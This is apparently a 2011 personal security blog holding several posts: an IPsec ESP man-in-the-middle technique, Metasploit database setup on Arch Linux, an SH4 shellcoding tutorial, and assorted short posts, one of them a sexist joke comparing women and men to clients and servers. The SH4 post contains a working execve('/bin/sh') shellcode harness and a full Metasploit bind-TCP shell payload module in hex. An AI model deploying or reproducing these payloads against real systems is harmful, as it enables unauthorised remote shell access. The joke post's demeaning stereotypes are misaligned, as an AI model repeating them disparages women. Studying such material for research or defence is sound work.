Friday, July 15, 2011

Man in the middle on IPsec? Yes, we can!

IPsec seems to be much less used than TLS. Maybe because, from a developper perspective, setting up a TLS socket looks much more easier than creating IPsec Security Associations (SA) and Security Policies (SP). If we look at security tools, we have lots to (attempt to) hijack TLS channels but nothing for IPsec so far.
On the other side, IPsec may be used more and more within devices to communicate with service providers or mainteners in a secure way (e.g. refering to IPv6).

In general, the ESP protocol is used: see RFC 4303. AH is much less used to my experience. It can be run in tunnel mode (encapsulating new IP headers and so protecting internal routing flaws), or in transport mode (hence, used in a way more similar to TLS).
In order to enable IPsec channels automatically, IKEv2 has been designed, and is described in RFC 5996. Basically, IKEv2 does the following:
- generates an initial SA by running a diffie hellman exchange and negotiating IKEv2 security algorithms,
- informs about SP within traffic selectors (what flaws to protect),
- authenticate peers,
- if authentication is successful and traffic selectors from peers matches, it generates new SA for the IPsec layer by deriving further the initial DH secret and renegogiating security algorithms.
This last SA is then pushed to the IP networking stack. In general in Linux, pf_key and xfrm interfaces can be used to configure the kernel. Lots of options and protocol kung-fu exist within IKEv2: e.g. in case of tunnel mode, an internal IP address can be requested by a peer acting as a client (think road-warriors connecting to a VPN gateway).

IPsec SA configured with IKEv2 cannot be retrieved by passively eavesdropping on the IKEv2 negotiation (unless you can factorize the large prime numbers used during the DH exchange...): unlike TLS, IKEv2 / IPsec SA are not transferred over the network (in the main mode of TLS, keys are transferred protected with the server's public key).
With IKEv2, you need to be active in the middle of the negotiation to manage yourself DH secrets, or you need to get access afterwards on one of the 2 peers' system and extract IPsec SA (in general on Linux, you need to be root). This is also why in wireshark, IPsec SA have to be configured completely for decoding ESP packet, whereas with TLS you only need to put the server's RSA secret key to decode an entire TLS session.

Being in the middle of an IKEv2 and IPsec connection still requires to break peers' authentication!
The main IKEv2 protocol accepts certificate or pre-shared key authentication. The pre-shared key mode allows to bruteforce the password offline, after running a fake IKEv2 server against a legitimate client. With the certificate mode, you can expect to meet the same issues than with TLS certificate authentication (mis-verification, mis-configuration, mis-implementation...).
Furthermore, IKEv2 accepts EAP authentication methods: e.g. EAP-MD5, EAP-TLS, EAP-SIM... Some of these methods can be insecure (e.g. those which are not generating MSK to be transferred to the IKEv2 layer, those that are not mutual authentication methods, those that allow replaying authentication exchanges...). Some making use of passwords can be bruteforced offline in the same way than the IKEv2 pre-shared key too.
There are plenty of authentication methods for IKEv2, and hence plenty of ways to break it!

But the purpose of this post is not about IKEv2 but IPsec ESP. So, after you manage to break the authentication scheme between 2 peers, you will be able to run you own instances of IKEv2 with each peers (this is left for the reader!). By doing so, it is possible to establish IPsec ESP SA with client and server independently. As soon as I have those SA, I can man-in-the-middle the IPsec ESP channel!
My first thought was to handle this directly within Linux, however and especially with the tunnel mode of ESP, routing issues are certainly going to happen.
So what???
...
Python!
And pycrypto.
I made a short class that is instantiated with both client and server Security Associations. It is only made to work with IPsec ESP over UDP (the NAT-Traversal mode): this avoids having to deal with raw sockets. Once an ESP packet is received from one of the peer, it is deciphered with an SA, reciphered and transferred toward the other peer. Optionnaly, it duplicates the unciphered ESP packet on a local interface (over GRE to 127.10.10.10) to have the clear content of the hijacked channel without effort in wireshark. This last feature does not work on microsoft OSes; this won't provide good result with ESP transport mode too...

The source of the class can be found here. It requires configuration of the class attributes: local_ip, local_port, cli_addr, srv_addr. Then, it is instantiated with the SA established with each peers: SA_cli and SA_srv. Each must have 'SPIi' and 'SPIr' as keys indexing a list containing encryption key, integrity protection key and SPI strings.
The class is coded to work with AES-CBC-128 and HMAC-SHA1-96, but can be changed easily by modifying the length of iv and mac and using the appropriate calls to pycrypto and hashlib.

And believe me: this works impressively!
No need to address IPsec system and network interfaces configuration, tunnel routing issues, neither ESP padding...
Holly python!

Wednesday, June 29, 2011

msf_autopwn Archlinux

# Intro

A quick and dirty way to setup metasploit correctly if you want to use msf_autopwn

% msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 698 exploits - 358 auxiliary - 54 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops

msf > db_driver 
[*] No Active Driver
[*]        Available: 

[*]     DB Support: Enable the mysql driver with the following command:
[*]                 $ gem install mysql
[*]     This gem requires mysqlclient headers, which can be installed on Ubuntu with:
[*]                 $ sudo apt-get install libmysqlclient-dev

[*]     DB Support: Enable the postgresql driver with the following command:
[*]                   * This requires libpq-dev and a build environment
[*]                 $ gem install postgres
[*]                 $ gem install pg # is an alternative that may work

msf > msfconsole  11,08s user 0,88s system 2% cpu 7:45,16 total

We will install postgresql and the associated gem, pg (not postgres):

% packer -S postgresql
résolution des dépendances...
recherche des conflits entre paquets...

Cibles (1): postgresql-9.0.4-4

Taille totale des paquets (téléchargement):   4,19 Mo
Taille totale des paquets (installation):   22,90 Mo

Procéder à l'installation ? [O/n] 
:: Récupération des paquets du dépôt extra...
 postgresql-9.0.4-4-x86_64              4,2M    8,0M/s 00:00:01 [##################################] 100%
(1/1) vérification de l'intégrité des paquets                   [##################################] 100%
(1/1) analyse des conflits entre fichiers                       [##################################] 100%
(1/1) installation de postgresql                                [##################################] 100%
Dépendances optionnelles pour postgresql
    python2: for PL/Python support
    perl: for PL/Perl support
% sudo gem install pg
% msfconsole

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 698 exploits - 358 auxiliary - 54 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops

msf > db_driver 
[*]    Active Driver: postgresql
[*]        Available: postgresql

[*]     DB Support: Enable the mysql driver with the following command:
[*]                 $ gem install mysql
[*]     This gem requires mysqlclient headers, which can be installed on Ubuntu with:
[*]                 $ sudo apt-get install libmysqlclient-dev

msf > db_n
db_nmap   db_notes  
msf > db_nmap -A -T2 -vvv 127.0.0.1
[-] Database not connected
msf > db_connect 
[*]    Usage: db_connect @/
[*]       OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*]        db_connect user@metasploit3
[*]        db_connect user:pass@192.168.0.2/metasploit3
[*]        db_connect user:pass@192.168.0.2:1500/metasploit3
msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: could not connect to server: Connection refused
        Is the server running on host "127.0.0.1" and accepting
        TCP/IP connections on port 5432?


Call stack:
/opt/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:2022:in `db_connect_postgresql'
/opt/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:1725:in `cmd_db_connect'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:376:in `run_command'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:338:in `block in run_single'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:332:in `each'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:332:in `run_single'
/opt/metasploit/lib/rex/ui/text/shell.rb:143:in `run'
/opt/metasploit/msfconsole:130:in `
'

This error means that the server is not started :

% sudo /etc/rc.d/postgresql start
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.

The database cluster will be initialized with locale C.
The default database encoding has accordingly been set to SQL_ASCII.
The default text search configuration will be set to "english".

fixing permissions on existing directory /var/lib/postgres/data ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 24MB
creating configuration files ... ok
creating template1 database in /var/lib/postgres/data/base/1 ... ok
initializing pg_authid ... ok
initializing dependencies ... ok
creating system views ... ok
loading system objects' descriptions ... ok
creating conversions ... ok
creating dictionaries ... ok
setting privileges on built-in objects ... ok
creating information schema ... ok
loading PL/pgSQL server-side language ... ok
vacuuming database template1 ... ok
copying template1 to template0 ... ok
copying template1 to postgres ... ok

WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the -A option the
next time you run initdb.

Success. You can now start the database server using:

    /usr/bin/postgres -D /var/lib/postgres/data
or
    /usr/bin/pg_ctl -D /var/lib/postgres/data -l logfile start

:: Starting PostgreSQL                                                                            [DONE] 

But the previous msf command is failing again :

msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: FATAL:  role "dad" does not exist

The according role can be created easily :

% sudo su - postgres
[postgres@XXX ~]$ createuser -P
Saisir le nom du rôle à ajouter : dad
Saisir le mot de passe pour le nouveau rôle : 
Le saisir de nouveau : 
Le nouveau rôle est-il super-utilisateur ? (o/n) o

Trying to connect again :

msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: FATAL:  database "dad" does not exist
[postgres@gambas ~]$ createdb dad
msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: PGError: ERROR:  new encoding (UTF8) is incompatible with the encoding of the template database (SQL_ASCII)
HINT:  Use the same encoding as in the template database, or use template0 as template.
: CREATE DATABASE "test" ENCODING = 'utf8'

Oh ok sure, disconnect msf pg driver then :

msf > db_disconnect
[postgres@XXX ~]$ dropdb dad
[postgres@XXX ~]$ psql
postgres=# CREATE DATABASE "dad" ENCODING = 'utf8'

One last test :)

msf > db_connect test
NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
...
Youhou! You can now proudly use db_autopwn :)

Friday, June 24, 2011

SH4 fun

# Description

A brief tutorial on SuperH4 architecture.

# Specs

SuperH Family : http://www.renesas.com/media/products/mpumcu/superh/roadmap/shroadmap.gif

Source : http://www.renesas.com/products/mpumcu/superh/superh_landing.jsp

We will focus on the simple SH-4, also referred as SH7750 series. To start such an adventure we will need the precise description of this subtle architecture, and after some guessing we land at SuperH7750 Software Reference manual (http://documentation.renesas.com/eng/products/mpumcu/rej09b0318_sh_4sm.pdf).

There is, among other, the opcode list for this processor! As we won't make shellcodes on a sheet of paper, next step is to setup the whole environment. You have two possibilites here, boot your ultra rare superh machine, or emulate it with qemu. Let's describe the latter.

# Qemu setup

First thing to come in mind when you have to deal with uncommon architectures : google "aurel32 #REPLACE_WITH_ARCH". This debian man just made an awesome work by setting up debian qemu images for arm,........,sh4. So download the following files :

- http://people.debian.org/~aurel32/qemu/sh4/debian_sid_sh4_standard.qcow2

- http://people.debian.org/~aurel32/qemu/sh4/initrd.img-2.6.32-5-sh7751r

- http://people.debian.org/~aurel32/qemu/sh4/vmlinuz-2.6.32-5-sh7751r

By following the README, we launch qemu-system-sh4 with the following flags :

qemu-system-sh4 -M r2d -kernel vmlinuz-2.6.32-5-sh7751r -initrd initrd.img-2.6.32-5-sh7751r -hda debian_sid_sh4_standard.qcow2 -append "root=/dev/sda1 console=tty0 noiotrap" -net nic -net user -redir tcp:2222::22

Note that I added the tcp redirection to be able to ssh directly. Don't forget to "aptitude update && aptitude upgrade", as this is an old release you will have some stuff to update and unfortunately this emulated machine is slow as hell (btw you can fully read the specs in the meantime :).

http://community.qnx.com/sf/wiki/do/viewPage/projects.core_os/wiki/KernelSystemCall

# Shellcoding

First step, executing "/bin/sh" via a shellcode. Our architecture works essentially with registers, and according to the msdn documentation [1] we can identify their meaning :

 
 R0         Return values

 R1         Temp register
 R2         Temp register
 R3         Temp register

 R4         First function argument
 R5         Second function argument
 R6         Third function argument
 R7         Fourth function argument

 R8         Permanent register
 R9         Permanent register
 R10        Permanent register
 R11        Permanent register
 R12        Permanent register
 R13        Permanent register

 R14        Default frame pointer

 R15        Stack pointer

Now let's analyze how gcc compile a simple execve code :

root@debian-sh4:~# cat execve.c
void getshell()
{
   char *str = "//bin/sh";
   execve(str,0,0);
}

void main()
{
   getshell();
}
root@debian-sh4:~# gcc execve.c -o execve -g

We load it into our sh4 gdb :

root@debian-sh4:~# gdb -q execve
Reading symbols from /root/execve...done.
(gdb) disassemble main
Dump of assembler code for function main:
  0x004004f8 <+0>:     mov.l   r14,@-r15
  0x004004fa <+2>:     sts.l   pr,@-r15
  0x004004fc <+4>:     mov     r15,r14
  0x004004fe <+6>:     mov.l   0x400510 <main+24>,r1   ! 0x4004c0 <getshell>
  0x00400500 <+8>:     jsr     @r1
  0x00400502 <+10>:    nop
  0x00400504 <+12>:    mov     r14,r15
  0x00400506 <+14>:    lds.l   @r15+,pr
  0x00400508 <+16>:    mov.l   @r15+,r14
  0x0040050a <+18>:    rts
  0x0040050c <+20>:    nop
  0x0040050e <+22>:    nop
  0x00400510 <+24>:    .word 0x04c0
  0x00400512 <+26>:    .word 0x0040
End of assembler dump.

Call to a subroutine is done via the instruction jsr @addr, next step, the disassembly of the "getshell" function

(gdb) disassemble getshell
Dump of assembler code for function getshell:
  0x004004c0 <+0>:     mov.l   r14,@-r15
  0x004004c2 <+2>:     sts.l   pr,@-r15
  0x004004c4 <+4>:     add     #-4,r15
  0x004004c6 <+6>:     mov     r15,r14
  0x004004c8 <+8>:     mov     r14,r1
  0x004004ca <+10>:    add     #-60,r1
  0x004004cc <+12>:    mov.l   0x4004f0 <getshell+48>,r2       ! 0x40063c
  0x004004ce <+14>:    mov.l   r2,@(60,r1)
  0x004004d0 <+16>:    mov     r14,r1
  0x004004d2 <+18>:    add     #-60,r1
  0x004004d4 <+20>:    mov.l   @(60,r1),r1
  0x004004d6 <+22>:    mov     r1,r4
  0x004004d8 <+24>:    mov     #0,r5
  0x004004da <+26>:    mov     #0,r6
  0x004004dc <+28>:    mov.l   0x4004f4 <getshell+52>,r1       ! 0x400378 <execve@plt>
  0x004004de <+30>:    jsr     @r1
  0x004004e0 <+32>:    nop
  0x004004e2 <+34>:    add     #4,r14
  0x004004e4 <+36>:    mov     r14,r15
  0x004004e6 <+38>:    lds.l   @r15+,pr
  0x004004e8 <+40>:    mov.l   @r15+,r14
  0x004004ea <+42>:    rts
  0x004004ec <+44>:    nop
  0x004004ee <+46>:    nop
  0x004004f0 <+48>:    mov.b   @(r0,r3),r6
  0x004004f2 <+50>:    .word 0x0040
  0x004004f4 <+52>:    .word 0x0378
  0x004004f6 <+54>:    .word 0x0040
End of assembler dump.

Focusing on the execve function call, we can see that the address of our "/bin/sh" string is loaded in r4, then 0 in r5 and r6. In our shellcode we will only use syscalls to be as independant as possible. A step deeper, we have the execve@plt disassembly (not resolved) :

(gdb) disassemble execve
Dump of assembler code for function execve@plt:
  0x00400378 <+0>:     mov.l   0x40038c <execve@plt+20>,r0     ! 0x41076c <_GLOBAL_OFFSET_TABLE_+20>
  0x0040037a <+2>:     mov.l   @r0,r0
  0x0040037c <+4>:     mov.l   0x400388 <execve@plt+16>,r1     ! 0x400324
  0x0040037e <+6>:     jmp     @r0
  0x00400380 <+8>:     mov     r1,r0
  0x00400382 <+10>:    mov.l   0x400390 <execve@plt+24>,r1     ! 0x18
  0x00400384 <+12>:    jmp     @r0
  0x00400386 <+14>:    nop
  0x00400388 <+16>:    mov.b   r2,@(r0,r3)
  0x0040038a <+18>:    .word 0x0040
  0x0040038c <+20>:    mov.b   @(r0,r6),r7
  0x0040038e <+22>:    .word 0x0041
  0x00400390 <+24>:    sett
  0x00400392 <+26>:    .word 0x0000
End of assembler dump.

We run it one time to resolve :

(gdb) r
Starting program: /root/execve
Got object file from memory but can't read symbols: File format not recognized.
process 32715 is executing new program: /bin/dash
# exit

Program exited normally.
(gdb) disassemble execve
Dump of assembler code for function execve:
  0x29625d40 <+0>:     mov.l   r12,@-r15
  0x29625d42 <+2>:     mova    0x29625d9c <execve+92>,r0
  0x29625d44 <+4>:     mov.l   0x29625d9c <execve+92>,r12      ! 0xb7a34
  0x29625d46 <+6>:     mov     #11,r3
  0x29625d48 <+8>:     add     r0,r12
  0x29625d4a <+10>:    trapa   #19
  0x29625d4c <+12>:    or      r0,r0
  0x29625d4e <+14>:    or      r0,r0
  0x29625d50 <+16>:    or      r0,r0
  0x29625d52 <+18>:    or      r0,r0
  0x29625d54 <+20>:    or      r0,r0
  0x29625d56 <+22>:    mov.w   0x29625d98 <execve+88>,r1       ! 0xf000
  0x29625d58 <+24>:    cmp/hi  r1,r0
  0x29625d5a <+26>:    bt.s    0x29625d80 <execve+64>
  0x29625d5c <+28>:    mov     r0,r3
  0x29625d5e <+30>:    rts
  0x29625d60 <+32>:    mov.l   @r15+,r12
  0x29625d62 <+34>:    nop
  ....
  0x29625d7e <+62>:    nop
  0x29625d80 <+64>:    mov.l   0x29625d8c <execve+76>,r0       ! 0x198
  0x29625d82 <+66>:    stc     gbr,r1
  0x29625d84 <+68>:    mov.l   @(r0,r12),r0
  0x29625d86 <+70>:    bra     0x29625d90 <execve+80>
  0x29625d88 <+72>:    add     r0,r1
  0x29625d8a <+74>:    nop
  0x29625d8c <+76>:    .word 0x0198
  0x29625d8e <+78>:    .word 0x0000
  0x29625d90 <+80>:    neg     r3,r3
  0x29625d92 <+82>:    mov.l   r3,@r1
  0x29625d94 <+84>:    bra     0x29625d5e <execve+30>
  0x29625d96 <+86>:    mov     #-1,r0
  0x29625d98 <+88>:    fadd    fr0,fr0
  0x29625d9a <+90>:    nop
  0x29625d9c <+92>:    add     #52,r10
  0x29625d9e <+94>:    rts
End of assembler dump.

Better. This "trapa" instruction seems cool, with 11 in r3, let's see the execve syscall number :

root@debian-sh4:~# grep execve /usr/include/asm/unistd_32.h
#define __NR_execve              11

So r3 with the syscall number and r0 with the string address, perfect. Instructions are pretty limited and we can only push registers on the "stack", so to push a byte on the stack, it takes 4 bytes :

mov #imm, reg
mov reg,@-r15

First thought is to push bytes one by one (I am getting an error when putting immediate larger than 0xff) :

/*
* execve ("/bin/sh");
*
main:
       add     #-8, r15
       mov     r15, r4
       mov     #110, r2
       shll8   r2
       add     #105, r2
       shll8   r2
       add     #98, r2
       shll8   r2
       add     #47, r2
       mov.l   r2, @r15
       add     #4, r15
       xor     r2, r2
       shll8   r2
       add     #104, r2
       shll8   r2
       add     #115, r2
       shll8   r2
       add     #47, r2
       mov.l   r2, @r15
       mov     #11, r3
       xor     r5, r5
       xor     r6, r6
       trapa   #19
*/
#include <stdio.h>
#include <string.h>

char code[] = 
"\xf8\x7f\xf3\x64\x6e\xe2\x18\x42\x69\x72\x18\x42\x62\x72\x18"
"\x42\x2f\x72\x22\x2f\x04\x7f\x2a\x22\x18\x42\x68\x72\x18\x42"
"\x73\x72\x18\x42\x2f\x72\x22\x2f\x0b\xe3\x5a\x25\x6a\x26\x13"
"\xc3";

int main()
{
   printf("len:%d bytes\n", strlen(code));
   (*(void(*)()) code)();
   return 0;
}

But it is so fat! A ninja found another way to do it better here http://www.shell-storm.org/shellcode/files/shellcode-771.php, but this example focused on how to use the stack :)

# Metasploit ninja

We will add the SuperH4 architecture to metasploit :

% svn co https://www.metasploit.com/svn/framework3/trunk/
% svn diff
Index: lib/rex/constants.rb
===================================================================
--- lib/rex/constants.rb        (révision 13017)
+++ lib/rex/constants.rb        (copie de travail)
@@ -80,6 +80,9 @@
ARCH_TTY    = 'tty'
ARCH_ARMLE  = 'armle'
ARCH_ARMBE  = 'armbe'
+ARCH_SH4    = 'sh4'
+ARCH_SH4LE  = 'sh4le'
+ARCH_SH4BE  = 'sh4be'
ARCH_JAVA   = 'java'
ARCH_TYPES  =
       [
@@ -95,6 +98,9 @@
               ARCH_SPARC,
               ARCH_ARMLE,
               ARCH_ARMBE,
+               ARCH_SH4,
+               ARCH_SH4LE,
+               ARCH_SH4BE,
               ARCH_CMD,
               ARCH_PHP,
               ARCH_TTY,
Index: lib/rex/arch.rb
===================================================================
--- lib/rex/arch.rb     (révision 13017)
+++ lib/rex/arch.rb     (copie de travail)
@@ -63,6 +63,12 @@
                               [addr].pack('V')
                       when ARCH_ARMBE
                               [addr].pack('N')
+                       when ARCH_SH4
+                               [addr].pack('V')
+                       when ARCH_SH4LE
+                               [addr].pack('V')
+                       when ARCH_SH4BE
+                               [addr].pack('N')
               end
       end

The ARCH_SH4, ARCH_SH4BE and ARCH_SH4LE are now recognized by rex! As an example, we can simply create the metasploit module shell_bind_tcp.rb in modules/payloads/singles/linux/sh4/shell_bind_tcp.rb :

##
# $Id: shell_reverse_tcp.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

   include Msf::Payload::Single
   include Msf::Payload::Linux
   include Msf::Sessions::CommandShellOptions

   def initialize(info = {})
       super(merge_info(info,
           'Name'          => 'Linux Command Shell, Bind TCP Inline',
           'Version'       => '$Revision: 1 $',
           'Description'   => 'Listen for a connection and spawn a command shell',
           'Author'        => 'Dad`',
           'License'       => MSF_LICENSE,
           'Platform'      => 'linux',
           'Arch'          => ARCH_SH4,
           'Handler'       => Msf::Handler::BindTcp,
           'Session'       => Msf::Sessions::CommandShellUnix,
           'Payload'       =>
               {
                   'Offsets' =>
                       {
                           'LPORT'    => [ 116, 'n' ],
                       },
                   'Payload' =>
                       #### Tested successfully on:
                       # Linux debian-sh4 2.6.39-2-sh7751r
                       ####
                       # s = socket(2, 1, 0)
                       "\x66\xe3"        +#   mov     #102,r3
                       "\x02\xe4"        +#   mov     #2,r4
                       "\x01\xe5"        +#   mov     #1,r5
                       "\x6a\x26"        +#   xor     r6,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x01\xe4"        +#   mov     #1,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # bind(s, {2, port, 16}, 16)
                       "\x03\x64"        +#   mov     r0,r4
                       "\x03\x68"        +#   mov     r0,r8
                       "\x2a\x22"        +#   xor     r2,r2
                       "\x26\x2f"        +#   mov.l   r2,@-r15
                       "\x15\xc7"        +#   mova    4000c8 <dup+0x18>,r0
                       "\x01\x62"        +#   mov.w   @r0,r2
                       "\x28\x42"        +#   shll16  r2
                       "\x02\x72"        +#   add     #2,r2
                       "\x26\x2f"        +#   mov.l   r2,@-r15
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x10\xe6"        +#   mov     #16,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x02\xe4"        +#   mov     #2,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # listen(s, 0)
                       "\x83\x64"        +#   mov     r8,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x6a\x26"        +#   xor     r6,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x04\xe4"        +#   mov     #4,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # fd = accept(s, 0, 0)
                       "\x83\x64"        +#   mov     r8,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x05\xe4"        +#   mov     #5,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # dup2(fd, 2-1-0)
                       "\x03\x69"        +#   mov     r0,r9
                       "\x03\xea"        +#   mov     #3,r10
                       # <dup>:
                       "\xff\x7a"        +#   add     #-1,r10
                       "\x3f\xe3"        +#   mov     #63,r3
                       "\x93\x64"        +#   mov     r9,r4
                       "\xa3\x65"        +#   mov     r10,r5
                       "\x13\xc3"        +#   trapa   #19
                       "\x15\x4a"        +#   cmp/pl  r10
                       "\xf8\x89"        +#   bt      4000b0 <dup>
                       # execve(shell, 0, 0)
                       "\x0b\xe3"        +#   mov     #11,r3
                       "\x02\xc7"        +#   mova    4000cc <dup+0x1c>,r0
                       "\x03\x64"        +#   mov     r0,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x13\xc3"        +#   trapa   #19
                       "\x00\x00"        +#   LPORT
                       "\xff\xff"        +#   Junk
                       "/bin/sh"          #   Shell
               }
           ))

       register_options(
           [
               OptString.new('SHELL', [ true, "Shell to execute.", "/bin/sh" ])
           ], self.class)
   end

   def generate
       p = super

       sh = datastore['SHELL']
       p[120, sh.length] = sh

       p
   end

end

This is a simple example on how to perform a bind shell with a parametrable LPORT and SHELL. Their offsets are calculated relatively to the end. Note that I am using the socketcall syscall to handle the socket, listen, bind and accept commands. Arguments are pushed onto the stack respectively, then a pointer to this location is saved in r5, the syscall #63 is stored in r3 and finally r4 defines the action that socketcall should execute. Also, the dup2 over the three standards file descriptors is in a loop decrementing r10.

The shellcode is certainly far from optimal, but this is a first approach to this exotic architecture! I don't really know how to submit modules to metasploit framework, but if any of you knows ... :)

[1] http://msdn.microsoft.com/en-us/library/ms925519.aspx

Wednesday, May 4, 2011

C declarations and the almighty Hex-Rays

Today at GNIF, someone asked us the following question : what is the output of this program ?
int p=0;
p = p++ + ++p;
printf("p=%d\n", p);

I let the readers test their knowledge on this one. On my side, after some spending a few minutes arguing with coworkers, I decided to see if IDA and the Hex-Rays plugin could help me. Here is the disassembly :

int __cdecl main()
{
  printf("p=%d\n", 3);
  return 0;
}

Hail to the almighty IDA !

Monday, April 4, 2011

From device names to UUID

After installing my station with ArchLinux, I realized that my 2 SATA controllers were recognized in a random order by the kernel. This means my /dev/sda-b and /dev/sdc-d sometimes switched, and my root FS was simply ignored at boot (what makes the environment a bit... unusable). The solution is simply to change grub and Linux configurations to use disk's UUID or LABEL, instead of logical names.

After googling, the solution was here, thanks to some Linux magic:

$ ls -l /dev/disk/by-
by-id/    by-label/ by-path/  by-uuid/  
$ ls -l /dev/disk/by-uuid/
total 0
lrwxrwxrwx 1 root root 10 Apr  4 21:21 4de015b1-34a9-4c58-93e4-dc2c3e2502db -> ../../sdc1
lrwxrwxrwx 1 root root 10 Apr  4 21:21 5b507ae1-8b9e-4689-aea0-4e54e0790f46 -> ../../sdd2
lrwxrwxrwx 1 root root 10 Apr  4 21:21 921f9d8d-7921-48e7-ab72-9ee701633174 -> ../../sdd1
lrwxrwxrwx 1 root root 10 Apr  4 21:21 f05a3192-f8cf-4a22-836c-b82a6b00db04 -> ../../sdc2
lrwxrwxrwx 1 root root 10 Apr  4 21:21 fc8e3b24-0a5c-4138-bfd0-9a6cc0fb1ef5 -> ../../sdc3

These symlinks are updated at each boot to point to the right disk's logical name. So, I only needed to edit my /boot/grub/menu.lst and /etc/fstab files, referencing full path to disk UUID, e.g. /dev/disk/by-uuid/4de015b1-34a9-4c58-93e4-dc2c3e2502db instead of /dev/sdc1. Whatever logical names my SATA disks have, grub and Linux always get the right one.

TIP 1: always keep a backup entry in your grub with the old way your disk was referenced, just in case...
TIP 2: use the /dev/disk symlinks, instead of the UUID=4de015b1-34a9-4c58-93e4-dc2c3e2502db convention, which seems not to be recognized by the legacy grub (version 1).

Thursday, March 24, 2011

The client - server model

At GNIF, we discussed an interesting analogy during lunch. This was about the model of women and men's relationships: this is pretty much like the client and server model.
Woman requests / Man responses.
Woman posts / Man executes.
There is no real solution for the man to be at any initiative ;) He is simply acting as slave.

And we can come to the conclusion that the same behavior exists in a couple as in the Internet:
Woman requests something very difficult / Man reponses that is not authorized
Woman posts credentials / Man verifies credentials (...hummm)
Woman requests something very difficult / Man reponses OK
Also:
Woman floods with too much requests / Man denies service
Or even:
Naive woman requests / Man responses with hidden iframe
Naive woman gets her javascript engine exploited

Wednesday, March 2, 2011

The Twitter effect

Once we were an unknown blog, posting stuff that will make our friends laught. Nobody cared, and it was good.
One day, because of an unfortunate random google hit, we were spotted by powerful twitters. And our peace was gone.


Fuck twitter ;-)